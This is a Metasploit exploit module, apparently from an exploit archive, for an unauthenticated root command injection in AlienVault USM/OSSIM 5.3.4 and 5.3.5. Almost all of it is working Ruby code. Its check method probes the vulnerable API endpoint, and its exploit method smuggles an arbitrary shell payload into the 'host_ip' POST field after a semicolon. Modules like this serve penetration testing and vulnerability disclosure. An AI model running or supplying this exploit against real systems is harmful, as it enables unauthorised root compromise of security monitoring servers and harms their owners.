AlienVault USM/OSSIM 5.3.4 / 5.3.5 Remote Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AlienVault USM/OSSIM API Command Execution',  
'Description' => %q{  
This module exploits an unauthenticated command injection in Alienvault USM/OSSIM versions 5.3.4 and 5.3.5. The vulnerability lies in an API function that does not check for authentication and then passes user input directly to a system call as root.   
},  
'Author' =>  
[  
'Unknown', # Privately disclosed to Alienvault  
'Peter Lapp ([email protected])' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://www.alienvault.com/forums/discussion/8415/']  
],  
'Privileged' => false,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd'  
}  
},  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'Targets' =>  
[  
[ 'Automatic', { }]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 5 2017'))  
  
register_options(  
[  
Opt::RPORT(40011)  
], self.class)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),  
'vars_post' => {  
'host_ip' => "127.0.0.1"  
},  
'headers' => {  
'Accept' => "application/json"  
}  
})  
  
if res and res.code == 200 and res.body.include?('success')  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
print_status("Executing payload...")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),  
'vars_post' => {  
'host_ip' => ";#{payload.encoded}"  
},  
'headers' => {  
'Accept' => "application/json"  
}  
})  
end  
  
  
end  
  
`